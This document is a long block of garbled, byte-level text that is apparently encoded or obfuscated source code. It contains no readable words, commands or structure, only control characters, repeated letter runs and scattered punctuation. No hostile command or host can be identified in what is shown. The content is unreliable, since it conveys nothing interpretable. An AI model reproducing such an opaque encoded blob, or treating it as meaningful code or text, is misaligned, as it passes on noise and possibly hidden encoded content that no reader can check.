^[B  R8TV_]lFFFFFFBT VV]B	^SU[6.69/(29+'>I6.69/(29+'>]BT[B	^SUMWV]llFFFFlBT VVFFFFFF[FFF& 
N9UNRVTON9UNWUTSOOO]llFFF FFNG	^R_ NWUTPONBT VVOFFFFFFFF9UNWTPRONBT VVOFFFFZFNRM_POOFFBT VVF[FFFFDD]lFFBT VV]lFFFlF 	FTVV	U
SVRNOlFFFllFFFl FNG NP

_
TNWTTPOOOF]lBTVFFFFF[FFU	NWWPSONWP__VVUVNOJFFFFFP

_
TN_^^OO]lFB ^R ^_P RFFFF[FFF	
_N'$56'2.FFHFP

_
TNWUTQOJFFFFNRZZWOOFFFHFFU	NWUT^O]lBU_F[FF	
_N'$56'2.FHFFF	^R_ NWUT_OJFFFNWTR8WWPOO]lB^SRFF[FFFF9UNWUTUON	^R_ NWUUVOOFFYF	9
NOF\FFFDD]lFF FFFNB^SRFF[[[FFFFDDOFFFFlFFFFFFFFB^SRFFF[FFN9UNWUTUONU	NPRVOOFFFYF99
NOF\FFFFDDOFFFFFHFF	^R_ NWUUWO]lFlIIF


F	F 	F+57*F	F 	llFBQQRFFF[FFFF	^R_ NRV_ON9UNWUUTOJFFFFU	NWUUUOJFB^SRFFFHFFFFAIAFFFFHFFFFFFB ^R ^_P RO]lFFFFF FFN	^R_ NWUURONBQQRJFFP

_
TNWUUUOOFFG[[FVOFBQQRFF[FF9UNWUUUOFHFFP

_
TNWUUSONBQQRJFAIAO]lFFFFBQU FFF[FFFFFF	^R_ NWUTUON	^R_ NQ^UOOFYFF	9
NU	NWUUPOFFHFF9V 9SNP

_
TNWUT_OOOFF\FDD]lFFF FFFFFNBQU FFFF[[[FFFFDDOFFFBQU F[FFF9UNWUUUOFFFFFHFFFFFFV	 NDDOFHF	^R_ NWUUQOFFHF9V 9SN9UNWUU^OO]l FN	^R_ NWUURONBQU JFFFFP

_
TNWUUUOOFG[[FFVOFBQU FF[FFFF9UNWUUUOFFFHF	^R_ NWUUSON9UNWUU_ONP

_
TNWURVOJFFFFFDDJFFFFFFBQU OJFFFFAIAO]lFBQ	FFF[FNB!*)$'*5=9UNQTTO;OFF@@FFP

_
TNWURWONB!*)$'*5=	^R_ NWURTO;OFFYFB!*)$'*5=9UNWURTO;FFFF\FDD]lFFFFF FFNP

_
TNWTPRONBQ	OFFZFFFFFFN^VMTVOOFFlFFFFFFBQ	FF[FFFF	TUP9SN9UNRWUOJFFDDO]llFF FFFFN	^R_ NWTPRONBQ	OFFFFFZFFFFNWTV8T^OOFFlFFBQ	FFF[FFR^	9^VPNO]llllFFFFlB9 S9F[FDD]lFFFFF FFNNB!*)$'*5=P

_
TNR^^O;OFFFF@@F	^R_ NWURWONB!*)$'*5=P

_
TNR^^O;OF@@FFF9UNWURUONB!*)$'*5=	^R_ NR^^O;OFFFFFFXFFNQTKTTOOFlFFFB9 S9F[FFFFFFB!*)$'*5=9UNR^^O;]lFFFFFFF
FlFFFB9 S9FF[FFFFF	TUP9SN9UNQW_OJFFDDO]lllFFlIIFFllFFF FNU	NWURRONB9 S9OFFFFFXFFFFNRWM_OOFlF9
T
PTTNP

_
TNQW_OJFB9 S9JF	^R_ NWURSOO]lFFFFlFFB	FFF[FP

_
TNWUTUONP

_
TNQ^UOOFYFFFNOF9UNWURPON	9
NAIAOJFFFF6.6934*96'2.OFFFF\FFAIA]lFFFF FFNB	FFF[[[FDDOFFB	F[FFFAIA]l FN9UNWURQONB	JFFKWOFFG[[FFAIAOFB	FFH[FFFAIA]lFFBQTVWFF[FFNlFFFFFFFF	^R_ NWUR^OFF[XFFRQW^	NOJll	^R_ NWUR_OF[XFF9QVTRV NOJllllFFFP

_
TNWUSVOFFF[XFFFFFB	JlO]llFBQW WVFFF[FFFNlFFF	^R_ NWUSWOFF[XFFBQQRJlFP

_
TNWUSTOFFF[XFFBTVJlllFFFP

_
TNWUSUOFF[XFFFFBQU JllFFP

_
TNWUSROFFFF[XF	
_N'$56'2.FFFFHFFFFF	^R_ NWUSSOJFFFFNR_8PWOOJlF	^R_ NWUSPOFFF[XFB9 S9JlFFO]lFBS9R	FF[FT_RUU99N	^R_ NWUSQOJFDDO]lFFF FFNG9UNWUS^ONBS9R	OFFFFFFU	NWUS_ONBS9R	OF[[[FVOFFFllF]lFFlFFFFFFFFB^	R _FF[FFF	^R_ NU__ONRVUQ_9N	^R_ NWUPVONBQW WVOJFBS9R	OO]lBTURRP FFF[FFFU	NWUPWOFFFHFFFFP

_
TNU__ONU	NWUPTONBQTVWOOFFFHF	^R_ NWUPUO]lFFBTURRP FH[FFFP

_
TNWUPROFHFB^	R _FFFHFFP

_
TNWUPSO]lFFF9
T
PTTNU	NWUPPOJFBTURRP JFFFF9UNWURSOO]l9
T
PTTN	^R_ NWUPQOJFFFFF	^R_ NWUP^ONNOFFFBQ	FFHFFNOFFB9 S9FFFHFBS9R	FFFHFFFFFFAAFFFHFP

_
TNQQONV	 NDDOOOJFFFP

_
TNWURSOO]lFFFBV FFFFFF[FFFFF	^R_ NWUTUON	^R_ NQ^UOOFYFFFF	9
N9UNWUUPOFFFFHFFFFF9V 9SN	^R_ NWUP_OOOF\FFFFFDD]l FNBV FF[[[FFFFDDOFFFBV F[FFFFFP

_
TNWUUUOFFHFFFV	 NDDOFFFHFU	NWUQVOFFFHFF9V 9SNU	NWUQWOO]lFFFF FFFNP

_
TNWUQTONBV JFFF9UNWUUUOOFFG[[FFFFVOFFBV FFF[FF9UNWUUUOFFFHFFP

_
TNWUQUON	^R_ NWUU_ON	^R_ NWURVOJFDDJFFBV OJFFAIAO]lF9
T
PTTNU	NWUQROJFFFFFFBV JFFF	^R_ NWUQSOO]lllF FFNP

_
TNWUS_ONBQ	OFFFFZFFNVTQMVUOOFFl]lFFFFFl9
T
PTTNU	NWUQPOJFFBQ	JFFP

_
TNWUQSOO]l FFFFFNGQ^_SRVNOOFFFF]llFFFFFBPW FF[FF 	T^U^NO]lFFF FFFNG&	^R_ NWUQQONBPW OOF9WR
R NBPW JFFFFNR^TMWWOJFO]l FNG&	^R_ NWUQQONBPW OFFFFFFG&P

_
TN^Q^ONBPW OOF]lFBWV^F[FBPW FFFFHFFFAIAFFHFBU_FHFFFF	^R_ N_^^O]B		
[WRUWP_]B
	U R[B		
8WUP]lFBP_	PR^F[FF_9 RRP9R _NlllFF9UNWUQ^OJlFFFNA995*3!99AJFA99</69('+#99AJFFFA9914/2#9-#?99AJFFFA990#45/)(99AOJlllNBTVJFFB ^R ^_P RJFF	
_N'$56'2.FFFFHFFP

_
TNWUSSOJFFNWWMWOOJF^P	PU QNOOlllFFO]lFFFF FNGBP_	PR^OFFFFFlFFF FNNOF9		NP

_
TNQRQOJFVOFFFFFFXFFVOFFF	RR^TT9
NU	NWUQ_OJF	^R_ NWU^VOO]lF]llllFFFFlF FFFFFFNG&P

_
TNWW_VONBWV^OFFFF9UNWUP^ON9^QSRQNNOFFFF&U	NWWTSONBWV^OOOFFG[[FF	^R_ NWUP^ONBP_	PR^OOFlFFFFU_TVQTQ	_NBWV^JFFFBP_	PR^JFFP

_
TNWU^WOO]lFFVVRQQ9U^NBWV^JFWRP NOO]llFU9
 NBWV^JFNV^MVOO]llFF
V _RR _9NBWV^O]lFFFlFFFFFFFFFFN2	
FFB
WSW9TOFlFF	RR^TT9
N9UNWUQ_OJFB
WSW9TO]lFFFFFFFFN#	FB
WSW9TOFFFlFFll 	FFF_9 RRP9R _NBJFBP^WSWJFFFB		VTOlFFFFlFB9R	FFFF[FFFF

]llFFF FFFFFFNB9R	FFF[[[FFFF

OFFFlFFB9R	F[FF9UNWUTUON	^R_ NWU^TOOFFFYF9NW9_QSSQVNOOFF\FFF 
]lFF FFNGF	^R_ NWU^UONB9R	OOFFllFFB9R	F[FFF_VR 9^RN9UNQSWOJF 
O]llFF FFFFNGFU	NWU^RONB9R	OOFlFB9R	FF[FFFNO]lFFFFlIIF	F	K F	K
llFFlBPQ
 9FFFFF[FFFDD]l FFFNNB9R	=B;OFFF@@FFFF9UNWUS^ONB9R	=B;OOFlBPQ
 9FF[FFB9R	=B;]BS
_R__[TSMPU]BTTPW[BS
_R__KRW]lFFFFlFFF FN9UNWU^SONBPQ
 9OFFZFNUMRQOOFFFFFFlllBPQ
 9F[FFF	TUP9SNBJFDDO]llllF FN9UNWU^SONBPQ
 9OFZFFNVWSMVWOOFFF 
]lllBR^STV	
WFF[F	^R_ NRVTONBPQ
 9JFO]l FFNGBR^STV	
WFFFFP

_
TNWU^PONBR^STV	
WOFFFFFZFFNVUMVT OOFFFFFFF 
]lllFFFF FFNP

_
TNWUQTONBR^STV	
WJFFFFF	^R_ NTS_OOF[[[FFF 
OFFF 
]lFBR^STV	
WFFF[FFFF	^R_ NRV_ONBP^WSWJFFB		VTJFFFBR^STV	
WO]lFFFF FFFN N	^R_ NTPWOOOFFFFllFFFFlFFFFF&	99

NBR^STV	
WJFF2)-#(96'45#O]lFFFFFFFFFFN2	
FFFFB
WSW9TOFFlFFFF 
]lllFFFFFFFFFN#	FB
WSW9TOFFlF 
]llFFlllFFF
 FFFNGS_V9QNBR^STV	
WOOFlFFF 
]llFFFBR^STV	
W]llFlFF 	FFFF
PSQ	WNOllllFFlFFFFFFFFFFFl FFNGP

_
TNWUTUONU	NWU^TOOOFFFF]l FFFNG N	^R_ NWU^QOOOF]lB	9__	PF[FFFFPRPVQ
TNO]lFFFF FFFFNGB	9__	POFFFFFlFFFTVV	U
SVRNO]lFFFFFFFFB	9__	PFFFF[FFPRPVQ
TNO]lFFlB	F[FF	TUP9SNP

_
TNWUSQOJFDDO]lFFFFFF FFFFFN9UNWU^PONB	OF[[[FFFVOFB	F[FFFU	NWU^^OND:VVDJFFFNTUKQOO]llllFFFFBRS PFF[FFFFFFNNB!*)$'*5=U	NWURTO;OFFF@@F9UNWUS^ONB!*)$'*5=9UNWURTO;OFFFF@@FFFFP

_
TNWU^PONB!*)$'*5=9UNWU^_O;OFX[FFNUWMP_OOFFFYFFB!*)$'*5=P

_
TNWU_VO;FFF\F	TUP9SN9UNWUQPOJFFFDDO]l FFNP

_
TNWU_WONBRS POFFFFFFZFFFFNWPM^ROOFFBRS PF[FR^	9^VPNO]lFFB	T9S99WV^FFF[FFFNNB!*)$'*5=P

_
TNR^^O;OF@@FFFFP

_
TNWU_TONB!*)$'*5=U	NR^^O;OFFF@@FU	NWU_WONB!*)$'*5=P

_
TNR^^O;OFFFXFNRS8UWOOFFFYFB!*)$'*5=	^R_ NR^^O;FF\FF	TUP9SNU	NWU_UOJFFDDO]lFBWP^U_F[FU	NWUP^ONBRS PFFHFB	T9S99WV^FFFFFHFB	FFFFHFFFFAAFFFHFU	NQQONV	 NDDOOO]lFFFF FFFN	TUP9SNP

_
TNWUPQOJFDDOFFFFG[[FFFFBWP^U_OFlFFFFFFTVV	U
SVRNO]lFB	9__	PFFF[FPRPVQ
TNO]llF FNGQ^_SRVNOOFF]lFFFBR WPV FF[FTQ^V^_ NO]B^T_9 U[W^L_]BR
UT^[B^T_9 UKWW]lB9Q	FF[FF&9UNWW_VONBR WPV FFFFHFFFP

_
TNWU_ROO]lF FFNB9Q	F@@FB	9__	PFF@@FFFFFF9NP

_
TNWU_SOOOFFFF]lF9 
PP^SSRWNO]lFFFT9_S_NO]lFFFFFFF9W_QRNO]lFBRV	SF[FF&U	NWU_PONBR WPV FHFF9UNWU_ROO]lllFFFFB	9__	PFFFFFF[FFFFFPRPVQ
TNO]l FFFNBRV	SF@@FB	9__	POFFlFF9N	^R_ NWU_SOJFFFFWJFFNVSPMVPOO]lllFFFFFN2	
FFFFB
WSW9TOFlFFFFF	RR^TT9
N9UNWU_QOJFFB
WSW9TO]lllFFFFFFFFN#	FFB
WSW9TOFFlIIFKF	F 	F16F 

F5F#lllllllllF 	FT9_S_NOlFFFllFFFFFFFlFFFFFFF FFFNG NU	NWU^QOOOFFFF]lFFFFF FFNU	NWU_^ONOF[[[F	^R_ N^ROOFF]lFFFB
 
R^RFF[F	^R_ NWUTUON9UNWTQ^OOFYF&U	NWU__ONU	NS^POOFFF\F 
]lFFFF FFFNGB
 
R^RFFFFB
 
R^RFFF[[[FDDFFFFB
 
R^RFF[[[FU	NWRVVOOFB
 
R^RFF[FFFF9UNS^_O]lFFBU_FFF[FF	
_N'$56'2.FFFFFFHF9UNWRVWOJFFFNWQR8WPPOO]lFFFBR WPV FFFFFF[FTQ^V^_ NO]lBPW FF[FFFF 	T^U^NO]lFFB^ S
_RPQ9FFFFF[FFFF	
_N'$56'2.FFFFFFHF	^R_ NWV_WOJFFNRMROOFFHFU	NWRVTO]lB	RURSF[FFBR WPV FHFFAIAFFFFFFHFB^ S
_RPQ9]lB	WRQSFF[FFFBR WPV FFHFFF9UNWRVUOFFHFFFB^ S
_RPQ9]BSUU_W[6.69+',)490#45/)(]B	PSS[BSUU_WL^]lFFFFBTVFF[FFFFFP

_
TNWWPSONWP__VVUVNOJFF9UNWRVTOO]lFB ^R ^_P RFF[FF	
_N'$56'2.FHFFU	NWUTQOJFFFFFNWPK^OOFFFHFP

_
TNWUT^O]lBRS
FFFF[FFFFFNOFFFF9		N	^R_ NWRVROJFFVO]lFF FFFNBRS
F@@FFFFFP

_
TNWWRUONOFKFFFFBRS
FFZFFNVPMVPTOOFlFFFV V
9 RNB	RURSJFFF

O]lFFFFFV V
9 RNB	WRQSJFFF

O]lll 	FFFFNNU	NPP^ON'$56'2.JFFF	^R_ NWTP^OOJF	^R_ NPP^ONBR WPV JFFF	^R_ NWRVSOOOFFFFFFFFFB	^TVUOFlFFFFFB	URUVFF[FB	^TVUFHFFAIAFFFFHFB
 
R^R]llllFFFBUUV
_FFF[F&9UNWRVPONB	URUVOFFFFYFFFFF&9UNWRVQONB	URUVOFFF\FFDD]lFFF FFFFNU	NWU_TONBUUV
_OFFFFF@@FFFFFP

_
TNWUQTONBUUV
_JFB^ S
_RPQ9OFFG[[F 
OFFlFB
_ ^SPTFFF[FFU	NWRV^ON	^R_ NWRV_OFFFHFFFFFU	NWRWVONB^ S
_RPQ9JFFAIAOFFHF9UNWRWWOJFFD:DJFBUUV
_O]llllFF FFFFFFN9UNWU_TONB
_ ^SPTOFFFF@@FFFFFFB
_ ^SPTFFG[[FBUUV
_OFFFF URUSWNB	URUVJFFB
_ ^SPTO]lllllIIF+57*F^F%2#FFllFlFFFF]llllFFFB
SWFF[FFF_9 RRP9R _NllllP

_
TNQU^OJlFFNA995*3!99AJFA99</69('+#99AJFFFA99/(529.'5.99AJFFFA99"'2'9"/499AJFFA99%)(2#(29"/49$PR99AJFFFFFA990#45/)(99AOJlNBTVJFB ^R ^_P RJFBU_JFFF	^R_ NWRWTOFFFHF	
_N'$56'2.FHFFFFFFP

_
TNRSOJFNWRKPOOJFFFFP

_
TNU__ON NP

_
TNWRWUOOFFFFYFF169%)(2#(29"/4F\FTQ^V^_ NOOJFF^P	PU QNOOlFFFO]lFFF FFFFNGB
SWOFFFlIIFF
		K 
llFF FFFFFNNOFFFF9		NU	NQRQOJFFVOFFFFFFXFFVOFF	RR^TT9
NU	NWRWROJFF	^R_ NWRWSOO]lFFFFFF]lFFFFFFl FFNG&P

_
TNWUQQONBPW OOFFFF9WR
R NBPW JFNVWT_MVROJFFO]BP_
V[ULP]B_TQ	[BP_
VKUR]lFBR^^TF[FF 
]l FFFNG&U	NWU_PONB	WRQSOFFFFFFFP

_
TNWRWPON9^QSRQNNOF&P

_
TNWRVQONB	WRQSOOOFFFFG[[FU	NWRWPONB
SWOOFlFFFFU_TVQTQ	_NB	WRQSJFFFB
SWJFFFF9UNWRWROO]llllFVVRQQ9U^NB	WRQSJFWRP NOO]lllFFFU9
 NB	WRQSJFFFNRVQMWUOO]lF
V _RR _9NB	WRQSO]lFFBR^^TF[FF]llBU_RV_FF[FFFFFDD]lFF 	FFFNNU	NPP^ON'$56'2.JFFFP

_
TNWRVSOOJFFP

_
TNPP^ONBR WPV JFU	NWRWQOOOFFFFFFB	 QVS		P OFllllFFFFFFB 
V	F[FF&P

_
TNWU_PONB	 QVS		P FFFFHFFAIAFFHFFFFFFB
 
R^ROFFFFFFYFFFF&U	NWRW^ONB	 QVS		P FFHFAIAFFHFB
 
R^ROF\FFDD]l FFFFFN9UNWRW_ONB 
V	OFF@@FFU	NWUVWONU	NWRTVOJFFB 
V	JFFFB SUT Q^	VOOFFFFlFFFFBSQTP
TFF[FFFP

_
TNWT^WONB SUT Q^	V=T;O]lF FFNBSQTP
TFFFG[[FDDFFFF@@FF	NBSQTP
TJFF9UNWRTWOOFF[[[FF 
FFFF@@FFG  ^UVNBSQTP
TOOFFFFllllFFFFBU_RV_F[FFFFFFBSQTP
T]lFFF]lllFFlFFFlFB^ TFFFF[FP

_
TN__UOFFHFFFFFFNBU_RV_FFFG[[FDDFFYF9UNWRTTOFFFFHFFFF	^R_ NWRTUONBU_RV_JFOFHFF9UNWRTROFFF\FFFDDOlFHF	^R_ NWRTSOFFFHFB^ S
_RPQ9FFFFFFHFFFFP

_
TNWUPSOlHFFU	NWRTPOlFHFFFU	NWRTQOlHFFP

_
TNWRT^OFFFFHFFFP

_
TNWRWPONB
SWOFFHFU	NWRT_O]lll FNG&U	NWU_PONB	RURSOFFP

_
TNWRWPON9^QSRQNNOFFFFFF&9UNWRUVONB	RURSOOOFFG[[F9UNWRUWONB^ TOOFllU_TVQTQ	_NB	RURSJFB^ TJFFFU	NWRUTOO]lFVVRQQ9U^NB	RURSJFWRP NOO]llllFU9
 NB	RURSJFNUR_MQWOO]l
V _RR _9NB	RURSO]lFBR^^TFFFF[FFF]llB		UWFF[FF]lBWRFFFF[FFF9^QSRQNNOF&9UNWRUUONB	WRQSOO]lFFF FNG&P

_
TNWRVPONB	WRQSOFFFFFFFBWRFG[[FFB
SWOFFFlF	RR^TT9
N9UNWRWROJFFFF	^R_ NWTW_OO]lFFV V
9 RNB	WRQSJF

O]lFB		UWFFF[FFF 
]lFFlFFBWRFF[F9^QSRQNNOFFFFF&9UNWRUUONB	RURSOO]lFFFF FFFFNG&U	NWRURONB	RURSOFFFBWRFFFG[[FB^ TOFFlFFFF	RR^TT9
N9UNWRWROJFU	NWTW_OO]llllV V
9 RNB	RURSJF

O]lFFFB		UWFFF[FF 
]B TP QTPU[TTLT]B RR[B TP QTPUKTS]lFFlFFFFFFNBWRO]lFF FNGB		UWOFFFlB9S_RP_VFFFFF[FFFNOFFFF9		N	^R_ NWRUSOJFVOFFFFMFW]lFFF9		N	^R_ NWRUSOJFB9S_RP_VJFFFU	NWUQSOO]l FNB9S_RP_VFX[FFFFNVWMVTOOFlFF9		NU	NWRUPOJFFFU	NWWRUONOJFFFFF9UNWUQSOO]lFFFFF	RR^TT9
NP

_
TNWRUQOJFF	^R_ NWRU^OO]llFFlF]llllFFFFFFFB^^RT	^FF[FNP

_
TNPP^ON'$56'2.JFFF9UNWRWQOOJFFU	NPP^ONBR WPV JF9UNWRWQOOO]lB^WPF[FFNO]lllFF 	FFFNB^^RT	^FFFFBQ
WVOFFFFlFFFFFFFFB

	PTQFFF[FBQ
WVFFFHFFFAIAFFFHFFFB
 
R^R]lFB
FFF[F&	^R_ NWRURONB

	PTQOFYFFF&U	NWRU_ONB

	PTQOF\FFV]lBF[F&U	NWRRVONB

	PTQOFFFFFYFFFFF&9UNWRUUONB

	PTQOFFFFF\FFDD]lF FFNGP

_
TNWRRWONBOOFFFFlF	RR^TT9
N9UNWRUQOJFF9UNWRRTOO]lFFFllF]llFFF FN	^R_ NWRRUONBJFFFB^ S
_RPQ9OFF[[[FF 
OFFllllFFFF FFFFNBFFFFF@@FFF	^R_ NWURQONU	NWRRRONBOJFFFFFFKWOFFFFG[[FFFD:DOFFBFH[FD:D]lFFFFFBRTQ
 FFF[FFFU	NWRRSOFHFFFFB	RURSFHFADAFFHFF6.69#)*]lFFFFF FFFFN URUSWNB

	PTQJFFBFHFFBRTQ
 OOFFFFFFlF FFNB
OFVVRQQ9U^NB

	PTQJFB
O]l
FVVRQQ9U^NB

	PTQJFFF9UNWWRUONOO]lFU9
 NB

	PTQJFFFFNRW_MWOO]lF9		N9UNWRRPOJFFFFF	^R_ NWWRUONOJFFFFF	^R_ NWUQSOO]lB^WP=;F[FFNB

	PTQJFFFFBO]lFFFFFFF FFFNNOF9		NP

_
TNWRRQOJFFFFVOFFFXFFFVOFFFF9		NP

_
TNWRRQOJFFVJFF9UNWRR^OO]lFF FFFFNNOF9		NU	NWRUPOJFFFFFVOFFFXFFVOFFF&
9		NP

_
TNWRR_OO]lFFFFFFFF
FlIIF&FlllFFBS	R_PFFF[FNOFFFF9		N	^R_ NWRRQOJFVOFFFFFFMFFW]B	9SP[6.69/(29+'>I6.69/(29+'>]BPRU[B	9SPMTV]lFF9		NP

_
TNWRRQOJFBS	R_PJF9UNWRR^OO]l FFNBS	R_PFX[FFFNWMTOOFlF9		N9UNWRR_OJFFFFF	^R_ NWWRUONOJFFU	NWRR^OO]lFFFFFF	RR^TT9
N9UNWRUQOJFU	NWRU^OO]lF]lllFFllFl FFFNBR^^TFF@@FFFFG	U	PS99PV^NOOFFlFlllFFFF	RR^TT9
N9UNWRUQOJFU	NWRSVOO]lFFFFFFV V
9 RNB	RURSJFFF

O]lFV V
9 RNB	WRQSJFFFF

O]l 	FFNB^WPFFFB _ WOFF URUSWNB _ W=V;JFB _ W=W;O]lFB9S_RP_VF[FFFFFNOF9		N	^R_ NWRRQOJFFVOFMFFFFFW]lFFFF9		N	^R_ NWRSWOJFB9S_RP_VJFFP

_
TNWRR^OO]lll FFFNB9S_RP_VFFFFX[FNVWMVTOOFFFlFFFF9		NP

_
TNWRR_OJFFFP

_
TNWWRUONOJFFF9UNWRR^OO]lFFFF	RR^TT9
NP

_
TNWRSTOJFFFF	^R_ NWRU^OO]lFFFFFFlFFFFFFFlFFFFFFFN2	
FFB
WSW9TOFFFlFF	RR^TT9
NU	NWRSTOJFFB
WSW9TO]llFFFN#	FFB
WSW9TOFlFFFFlFFFlFF 	FFF
P_
V^	 _WNOlFFFFFlIIFF	FK llFFlIIF16F.	F*FF	llFFF FFFNG	^R_ NWUTUON	^R_ NWTSTOOOFF]lFF FFFFFN NP

_
TNPVUOOFFF NU	NWRSUOOOFFFFlF FFFNNOFF&9		NU	NWRSROJFFVOOFFFlF&
9		NU	NWRSROO]lFFFFF&9		NP

_
TNWRSWOJFFFVJFFF	^R_ NWRR^OO]llIIF	F		F 	F16F6	F2llllFFFFFF]lFFFlFFB 
 UUTQ	WF[FFNOF&9		NU	NWRSROJFFVO]lFFFFF FFNGB 
 UUTQ	WOFFFF]lFFFB9WQFFFF[FFFU	NWRSSON	^R_ NWRSPOOFFFYFFNOFFF&P

_
TNWRSQON9UNWRS^OOFF\FFV]llF FNB9WQFFZ[FFFVOFB9WQFF[FNVMVR O]lFFFFF FNP

_
TNWWRUONOFFKFB 
 UUTQ	WFFFZFFFB9WQFMFNVWMVTOOFFFF]lFFF&9		NP

_
TNWRSROJF9UNWWRUONOJFFF9UNWRS_OO]lBT	W QFF[FFFFNOF&9		N	^R_ NWRSWOJFVOFFFFMFW]lFFFF&9		N	^R_ NWRPVOJFFFFFBT	W QJFFFP

_
TNWRS_OO]lF FFNBT	W QFFFX[FFFNRKWOOFFFlFF&
9		N	^R_ NWRPWOO]l&9		NP

_
TNWRR_OJFFFU	NWWRUONOJFF	^R_ NWRPTOO]llFFF	RR^TT9
NU	NWRSTOJFP

_
TNWRPUOO]lFFlllFFFFFFFFFFFN2	
FB
WSW9TOFFlFFFFN#	FFFB
WSW9TOFFFFlFlFFl 	FFVTU W	
	
WNOlFFFlFlFF FNG N	^R_ NWU^QOOOFFF]llFF FNP

_
TNWU_^ONOF[[[FFFFFF9UN^ROOF]lllFF FFFNG
WVWS___ WNOOF]lF FFNGQ^_SRVNOOFFFFFF]lFFFFBPW FFFF[FF 	T^U^NO]lllFFFBWWRFFFFF[FFBPW FHFFFF9UNWRPRO]lFB^ VFF[FFFFF9UNWRPSOFFFHFD:DFFFHFFFFFFU	NWRPPOFFFHFD:DlFFFHFFFFFFP

_
TNWRPQOFFHFFFD:DFFFFHFFFF	^R_ NWRP^OFHFFFFD:DFFFFHFP

_
TNWRP_OFFHFFFD:DlFHFF9UNWRQVOFFFFFHFFFD:DFFFFHFFFFP

_
TNWRQWOFFHFFD:DFFFHF9UNWRP_OFFFHFFD:DlFFHFFU	NWRQTOFFHFFD:D]lFFBFF[FFFF&U	NWRQUONBWWROFFFFFFYFFFF&9UNWRQRONBWWROFF\FDD]lFFF FFFFFNG9UNWRRWONBOOFFlFFFF	RR^TT9
NU	NWRQSOJF9UNWRRTOO]lF]llllFlFFF FFFFNP

_
TNWRRUONBJFFP

_
TNWRPSOOFF[[[FF 
OFlFFF URUSWNBWWRJFBFHFFFFB^ VO]B	RTP[W__QR]B
[B	RTP8TWU]lFVVRQQ9U^NBWWRJFWRP NOO]lU9
 NBWWRJFFFFNQQSKUSSOO]llFB
VRW
FF[FFFFTWTNO]lF FNGB
VRW
FFFFFFFU	NWU_WONB
VRW
OFZFNRUUMPQOOFFF]lBTVFFFF[F	^R_ NWWPSONWP__VVUVNOJFFFU	NWRQPOO]llFFFBR WPV FFF[FFTQ^V^_ NO]lFFFFFB^ S
_RPQ9F[F	
_N'$56'2.FFFFFHFP

_
TNWV_TOJFNVSMVUOOFHFFFU	NWRQPO]lFFB
VTUVFFFF[FNlFFFBR WPV FFHFFAIAFFHFFFFFB^ S
_RPQ9JlBPW FFFFFHFFFAIAFHFFFFFB^ S
_RPQ9JlFO]lFFB^UT^F[FBR WPV FFHFFFFAIAFFFHFB^ S
_RPQ9]BT
		9_ U[WU^P]BTP[BT
		9_ UCWS]lFF 	FFNB
VTUVFFFFFBT VVOFFFlFFFFFBQ
WVF[F	^R_ NWTP_ONBT VVO]l FN&	^R_ N^Q^ONBQ
WVOFFFFFFF9WR
R NBQ
WVJFFFFFFNVSMVW_WOJFOOFFFlIIF16F#4	\FF	K	llFFB^UT^FFFF[FFFBT VV]lFF]lFFFlFFFlFBPQ
 9FF[FFFU
WTNO]lFFFB
SWFFFFF[FFFFF_9 RRP9R _NlFFFF	^R_ NWRQQOJlNA995*3!99AJFFFA996*3!/(9$'5#PR99AJFFFFFFA990#45/)(99AOJlNBTVJFFFBPQ
 9JF^P	PU QNOOlFFFFFFO]B_Q^[QUM^P]BTS_

RP[B_Q^KTS]lF FFFNGB
SWOFl FFFFNNOF9		NP

_
TNWRQ^OJFVOFFFFXFVOFF	RR^TT9
N9UNWRQ_OJFFP

_
TNWR^VOO]lF]lFlFFFFFBU_RV_FF[FDD]lFBRQVWS^FFF[FFFN'$56'2.FFFHFP

_
TNWR^WOJFBR WPV FHF9UNWR^TOO]lFFFB		9_W9	^UF[FFU	NWRSSON	^R_ NWR^UOOFYFFF&P

_
TNWR^UON	^R_ NWR^ROOFFF\FF 
]lFFFFFF FN9UNWRRWONB		9_W9	^UOFFF@@FFFB		9_W9	^UFFG[[FDDOFFFlFFFFFBRQVWS^=;FF[FF9UNWRRRON'$56'2.JFFFFP

_
TNWRWQOOFFHFAIAFFFHFFB		9_W9	^U]lFFFBRQVWS^=;FF[FBR WPV FFHFFAIAFHFFB		9_W9	^U]lFFFFlF 	FNBRQVWS^FFFFFFFB999 OFlFBV SQRFF[F&	^R_ NWR^SONB999 OFYFFFF&9UNWRQRONB999 OF\FFFFFFDD]lFFFFF FFFFNG9UNWR^PONBV SQROFFFFFFFBV SQRF[[[FFDDOFF	]llll FFFFFFNP

_
TNWUVWONU	NWR^QOJFFFFFFBV SQRJFFB SUT Q^	VOOFFFlFFFBSQTP
TFF[F9UNWT^WONB SUT Q^	V=T;O]lFFFFF FFFFNBSQTP
TFFG[[FDDFFF@@FFFF	NBSQTP
TJFFFFU	NWRTWOOF[[[FF 
FFF@@FFFG  ^UVNBSQTP
TOOFFllFBU_RV_F[FFFFBSQTP
T]l]lFFlIIFKF	F  KllllFlFl FFFNBU_RV_FG[[FFFFDDOFlFFFFFFB
SWFFFFF[FFFF9UNWR^^ONU	NWR^_OJF	^R_ NWR_VOFFHFFFFP

_
TNWRTUONBU_RV_JFFOFHFFF9UNWR_WOJFFFFB
SWJFFFFWO]lFFFF FFNG9UNWR^PONB
SWOOFFFlFFF	RR^TT9
NU	NWRQ_OJFFU	NWR_TOO]lll]llFFlBQ_^
	RFFF[FF]lBP	VUWFF[F

]lFF FFN&U	NWRQUONB^UT^OOFFlIIF& F	lllFBP	VUWFFF[FFFF9^QSRQNNOFF&9UNWRQRONB^UT^OO]llFFFFFF FFFFFFN	^R_ NWR^PONBP	VUWOFFF@@FFFBP	VUWFF[[[FFB
SWOFFFFlFFFFFFFBQ_^
	RFFFFF[FF 
]lllFlIIF  /F\FFllFFlB T^TWF[FFNlFF'$56'2.FFFHF9UNWR_UOJlFFN NP

_
TNWRWUOOFFFFYFFF169%)(2#(29"/4F\FFFBR WPV OFHF	^R_ NWR_ROJlFO]llFFB_ ^U
FFF[FFFFNOFFF9		NU	NWR_SOJFFFVO]lFF FFFFFFNB_ ^U
F@@F	^R_ NWR_PONOFFKFFB_ ^U
FFFZFFFN^PUPUMUQOOFlFV V
9 RNB^UT^JFFF

O]llllF 	FNB T^TWFFFFBR^US9_OFFFlIIF
FllFFFFFB
RVFFF[FFF&U	NWR^SONBR^US9_OFFYF&9UNWRQRONBR^US9_OFFFFF\FFFFDD]lFFFF FFN9UNWR^PONB
RVOF@@F9UNWRRUONB
RVJFFFB^ S
_RPQ9OFG[[FFF 
OFFFlBRQR9FF[FFR  WWW
TNB
RVJFFB^ S
_RPQ9O]lllF FFFFFFNP

_
TNWR_QONBRQR9OFF@@FFFFBRQR9FFFFG[[FFFFFB
